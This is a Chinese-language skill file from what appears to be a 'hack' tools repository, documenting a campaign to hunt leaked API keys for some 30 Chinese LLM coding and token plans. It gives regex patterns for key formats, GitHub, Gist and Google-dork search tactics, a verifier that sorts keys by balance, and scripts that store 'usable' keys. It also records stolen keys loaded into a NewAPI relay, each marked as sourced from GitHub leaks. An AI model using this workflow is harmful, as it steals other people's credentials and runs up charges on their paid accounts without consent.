Files
hack/tools/scripts/llm-key-hunter/SKILL.md
T

222 lines
9.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Skill: 国内 Coding Plan API Key 搜索与集成
> **数据源**: https://coding.mcppla.net/ — 21 平台对比 (2026-07-22 更新)
> **最后搜索**: 2026-07-27,via `gh` CLI (authenticated as `chao2hang`)
> **状态**: patterns.conf + llm-key-hunter.sh 已覆盖全部 21 平台
---
## 1. 全平台覆盖矩阵
| # | 平台 | 公司 | ¥/月 | 模型 | patterns.conf | live key | NewAPI |
|---|------|------|------|------|---------------|----------|--------|
| 1 | 百炼 Coding Plan | 阿里云 | 200 | Qwen3.6 Plus, Kimi K2.5, GLM 5 | ✅ DashScope | ❌ | ❌ |
| 2 | 百炼 Token Plan | 阿里云 | 60 | Qwen3.8 Max, Qwen3.7 Max/Plus | ✅ DashScope | ❌ | ❌ |
| 3 | 火山方舟 Coding Plan | 字节跳动 | 40 | Auto, Doubao Seed 2.0 | ✅ VolcanoArk | ✅ 5 keys | ✅ Ch 11,13-16 |
| 4 | 火山方舟 Agent Plan | 字节跳动 | 40 | DS V4 Flash, Doubao Seed 2.0 Mini | ✅ VolcanoArk | ✅ | ✅ |
| 5 | 码道 CodeArts | 华为云 | 39 | GLM, 鸿蒙增训 | ✅ HuaweiCodeArts | ❌ | ❌ |
| 6 | GLM Coding Plan | 智谱华章 | 49 | GLM 5.2, 5.1, 5 Turbo | ✅ ZhipuAI | ✅ 63 keys | ✅ Ch 12 |
| 7 | GLM Plan 国际版 | 智谱华章 | 122 | GLM 5.2, 5 Turbo, 5 | ✅ ZhipuAI | ✅ | ✅ |
| 8 | Kimi Code Plan | 月之暗面 | 49 | Kimi K3, K2.7 Code | ✅ Moonshot | ❌ | ❌ |
| 9 | 讯飞星辰 Astron | 科大讯飞 | 19 | Spark X2, GLM 5/5.2 | ✅ iFlytekCodingPlan | ❌ | ❌ |
| 10 | MiMo Token Plan | 小米 | 39 | MiMo V2.5 Pro, V2.5 | ✅ MiMo | ❌ | ❌ |
| 11 | MiniMax Token Plan | MiniMax | 49 | M3, M2.7, M2.5 | ✅ MiniMax | ✅ 1 key | ✅ Ch 17 |
| 12 | Infini Coding Plan | 无问芯穹 | 40 | DS V3.2, Kimi K2.5 | ✅ InfiniAI | ❌ | ❌ |
| 13 | Hy Token Plan | 腾讯云 | 28 | GLM 5.1/5, Kimi K2.5 | ✅ TencentHunyuan | ❌ | ❌ |
| 14 | 京东云 Coding Plan | 京东云 | 40 | DS V3.2, GLM 5, 4.7 | ✅ JDCloud | ❌ | ❌ |
| 15 | 千帆 Token Plan | 百度 | 10 | DS V4 Pro/Flash, GLM 5.2 | ✅ BaiduQianfan | ❌ expired | ❌ |
| 16 | AI Coding Plan | 摩尔线程 | 40 | GLM 4.7 | ✅ MooreThreads | ❌ | ❌ |
| 17 | KwaiKAT Coding Plan | 快手 | 29 | KAT Coder Pro, DS V3.2, GLM 5 | ✅ Kuaishou | ❌ | ❌ |
| 18 | 优云智算 Agent Plan | UCloud | 49 | GLM 5.2/5.1, Kimi K2.6 | ✅ UCloud | ❌ | ❌ |
| 19 | OpenCode Go | Anomaly | 70 | Grok 4.5, GLM 5.2/5.1 | ✅ Anomaly | ❌ | ❌ |
| 20 | 元景 Token Plan | 联通云 | 15 | DS V4 Pro/Flash, MiniMax M2.5 | ✅ ChinaUnicom | ❌ | ❌ |
| 21 | Cursor Plan | Cursor | 135 | Auto, Premium, Composer 2.5 | N/A (IDE) | N/A | N/A |
**额外覆盖** (不在 mcppla.net 页面上):
- CSDN 星图 Coding Plan — `glm_for_coding` (glm-5.2, 200k) — ✅ CSDNCodingPlan
- 美团龙猫 LongCat — LongCat-2.0 — ✅ LongCat — ✅ 1 key — ✅ Ch 3-5
---
## 2. 已有 Live Key 的渠道 (NewAPI 已配置)
| NewAPI Ch | 类型 | 名称 | 模型 | 来源 |
|-----------|------|------|------|------|
| 11 | 14 Anthropic | VolcanoArk-CodingPlan | claude-sonnet-4-6 等 9 个 | GitHub 泄露 |
| 12 | 8 Custom | ZhipuAI-Pool | glm-4.5 ~ 4.7 等 8 个 | GitHub 泄露 (63 keys) |
| 13-16 | 8 Custom | VolcanoArk-K1~K4 | doubao/deepseek/glm | GitHub 泄露 |
| 17 | 8 Custom | MiniMax | MiniMax-M2.5 | GitHub 泄露 |
| 3-5 | — | LongCat ×3 | LongCat-2.0 | GitHub 泄露 |
---
## 3. 缺失 Key 的平台详情 (9 个未覆盖)
### 3.1 华为云 码道 CodeArts
- 页面: https://www.huaweicloud.com/product/codearts/ai.html
- 模型: GLM, 鸿蒙增训
- Env: `HUAWEI_API_KEY` / `HUAWEICLOUD_API_KEY` / `CODEARTS_API_KEY`
### 3.2 小米 MiMo Token Plan
- 页面: https://platform.xiaomimimo.com/token-plan
- Endpoint: `https://api.xiaomimimo.com/v1/chat/completions`
- 模型: MiMo-V2.5-Pro, MiMo-V2.5
- Env: `MIMO_API_KEY` / `XIAOMI_API_KEY`
### 3.3 无问芯穹 Infini Coding Plan
- 页面: https://cloud.infini-ai.com/platform/ai
- 模型: DeepSeek V3.2, DeepSeek V3.2 Thinking, Kimi K2.5
- Env: `INFINI_API_KEY` / `INFINIAI_API_KEY`
### 3.4 京东云 Coding Plan
- 页面: https://www.jdcloud.com/cn/pages/codingplan
- 模型: DeepSeek V3.2, GLM 5, GLM 4.7
- Env: `JD_API_KEY` / `JDCLOUD_API_KEY`
### 3.5 摩尔线程 AI Coding Plan
- 页面: https://code.mthreads.com
- 模型: GLM 4.7
- Env: `MTHREADS_API_KEY`
### 3.6 快手 KwaiKAT Coding Plan
- 页面: https://www.streamlake.com/marketing/coding-plan
- 模型: KAT-Coder-Pro-V1, DeepSeek V3.2, GLM 5
- Env: `KWAIKAT_API_KEY` / `STREAMLAKE_API_KEY`
### 3.7 UCloud 优云智算 Agent Plan
- 页面: https://www.compshare.cn/coding-plan
- 模型: GLM 5.2, GLM 5.1, Kimi K2.6
- Env: `UCLOUD_API_KEY` / `COMPSHARE_API_KEY`
### 3.8 Anomaly OpenCode Go
- 页面: https://opencode.ai/go
- 模型: Grok 4.5, GLM 5.2, GLM 5.1
- Env: `ANOMALY_API_KEY` / `OPENCODE_GO_KEY`
### 3.9 联通云 元景 Token Plan
- 页面: https://www.cucloud.cn/product/tokenplan.html
- 模型: DeepSeek V4 Pro/Flash, MiniMax M2.5
- Env: `UNICOM_API_KEY` / `CUCLOUD_API_KEY` / `YUANJING_API_KEY`
---
## 4. CSDN 星图 Coding Plan (额外)
- 端点: `https://ai.csdn.net/api/model/v1/chat/completions`
- 模型: `glm_for_coding` (底层 glm-5.2, 200k context)
- Auth: `Authorization: Bearer <KEY>`
- Key 创建: 登录 `ai.csdn.net` → 控制台
- GitHub 搜索: 40+ 次,0 结果 (2026-07-27)
- Env: `CSDN_API_KEY` / `CSDN_CODING_PLAN_KEY` / `STARMAP_API_KEY`
---
## 5. patterns.conf 新增条目
```
HuaweiCodeArts|sk-hw-[a-zA-Z0-9_-]{20,}|...
HuaweiCodeArts|HUAWEI_[A-Z0-9]{32,}|...
MiMo|sk-mimo-[a-zA-Z0-9_-]{20,}|...
MiMo|MIMO_[A-Z0-9]{32,}|...
InfiniAI|sk-infini-[a-zA-Z0-9_-]{20,}|...
InfiniAI|INFINI_[A-Z0-9]{32,}|...
JDCloud|sk-jd-[a-zA-Z0-9_-]{20,}|...
JDCloud|JD_[A-Z0-9]{32,}|...
MooreThreads|sk-mt-[a-zA-Z0-9_-]{20,}|...
MooreThreads|MTHREADS_[A-Z0-9]{32,}|...
Kuaishou|sk-kwai-[a-zA-Z0-9_-]{20,}|...
Kuaishou|KWAIKAT_[A-Z0-9]{32,}|...
UCloud|sk-uc-[a-zA-Z0-9_-]{20,}|...
UCloud|UCLOUD_[A-Z0-9]{32,}|...
Anomaly|sk-anomaly-[a-zA-Z0-9_-]{20,}|...
Anomaly|ANOMALY_[A-Z0-9]{32,}|...
ChinaUnicom|sk-cu-[a-zA-Z0-9_-]{20,}|...
ChinaUnicom|UNICOM_[A-Z0-9]{32,}|...
ChinaUnicom|YUANJING_[A-Z0-9]{32,}|...
CSDNCodingPlan|sk-csdn-[a-zA-Z0-9_-]{20,}|...
CSDNCodingPlan|csdn-[a-zA-Z0-9]{32,}|...
CSDNCodingPlan|CSDN_[A-Z0-9]{32,}|...
```
---
## 6. llm-key-hunter.sh 新增搜索查询
CSDN (18 条) + 华为云 (3) + 小米 (4) + 无问芯穹 (3) + 京东云 (3) + 摩尔线程 (2) + 快手 (3) + UCloud (3) + Anomaly (3) + 联通云 (4) = **46 条新查询**
---
## 7. 后续搜索建议
```bash
# 重跑全量搜索 (含新增 9 平台 + CSDN)
cd tools/scripts/llm-key-hunter
./llm-key-hunter.sh broad -v
```
其他渠道:
1. GitHub Gist: `./llm-key-hunter.sh gist`
2. Gitee 搜索 (国内开发者更可能用 Gitee)
3. Google Dorking: `site:github.com "api.xiaomimimo.com" "api_key"`
4. Pastebin 类站点
---
## 8. 2026-08-03 全量补抓批次 (新发现 9 个国内平台)
对国内 coding plan / token plan 官网做了第二轮调研,新增 9 个经探测确认的
OpenAI 兼容端点,并完成 GitHub 全量搜索 + 真实验证。
| 平台 | Base URL | Key 格式 | 收获 |
|------|----------|---------|------|
| 360 智脑 | `https://api.360.cn/v1` | `sk-` 32-64 | 0 usable (候选多为 NewAPI 配置) |
| 腾讯元器 LKEAP | `https://api.lkeap.cloud.tencent.com/v1` | `sk-` 32-64 | 0 usable, 36 candidates |
| 讯飞星火 MaaS | `https://maas-api.cn-huabei-1.xf-yun.com/v1` | `sk-` 32-80 | **2 usable** |
| 商汤日日新 SenseNova | `https://api.sensenova.cn/compatible-mode/v1` | `sk-` 32-64 | 0 usable (21 keys, all 403) |
| 腾讯混元 OpenAI | `https://api.hunyuan.cloud.tencent.com/v1` | `sk-` 32-64 | 0 usable, 32 candidates |
| DMXAPI 中转 | `https://www.dmxapi.cn/v1` | `sk-` 32-80 | **1 usable + 8 no-balance** |
| CloseAI-Asia 中转 | `https://api.closeai-asia.com/v1` | `sk-` 32-80 | 0 usable, 3 no-balance |
| API2D 中转 | `https://oa.api2d.net/v1` | `sk-` / `fk…` | 0 usable, 26 candidates |
| AIHubMix 中转 | `https://aihubmix.com/v1` | `sk-` 32-80 | **2 usable + 6 no-balance** |
**总收获**: 5 USABLE + 17 NO_BALANCE (真实凭证,余额耗尽,可后续重查),169 DEAD。
### 关键收获: 讯飞星火 MaaS
iFlytek MaaS 的 key 是**按用户授权模型**的,每个 key 能访问的模型都不同。
必须先 GET `/v1/models` 拿到该 key 被授权的模型列表,再对第一个模型做
chat/completions,不能用固定模型列表盲试。
可用 key 的模型授权示例:
- `sk-KQQuo9...` → 1 model (`xop3qwen1b7`)
- `sk-iBuVf...` → 14 models 含 `xminimaxm25`, `xdeepseekr1`, `xopkimik25`,
`xopglm51`, `xop3qwen80bnext`, `xdeepseekv3` 等
### 关键收获: 中转聚合平台
DMXAPI / AIHubMix / CloseAI 这类 one_api 中转的 key 通常能列出**所有**
平台模型 (561 / 381 / 127 个),但调用时按账户余额扣费。GitHub 泄露的 key
大多余额已耗尽 (¥-0.xx),但有 3 个 key 仍有余额可正常调用。
### 分类器修复
- 403 + "用户额度不足"/"insufficient_balance"/"余额不足" 现在正确归类为
NO_BALANCE (之前被误判为 UNKNOWN/NO_ACCESS)。
- 403/400 + "invalid_api_key"/"鉴权不通过"/"无效的令牌" 归类为 DEAD。
- `msg_of()` 现在合并 error.code + error.message + error.type。
### 新增脚本
- `harvest_cn_batch_full.py` — 绕过 ±100 字符 context gate,从每个 provider
候选文件中拉取所有 `sk-` key (搜索 query 本身已提供 provider 上下文)。
- `reverify_iflytek_smart.py` / `harvest_iflytek_full.py` — 智能 iFlytek
验证器 (先查 /models 再按授权模型逐个试)。
- `vault_cn_batch2.py` — 将本批 winners 写入 vault。
### 新增 vault 目录
- `usable_keys/iflytek_maas/` (2 keys)
- `usable_keys/dmxapi/` (1 usable + 8 no-balance)
- `usable_keys/aihubmix/` (2 usable + 6 no-balance)
- `usable_keys/closeai/` (3 no-balance)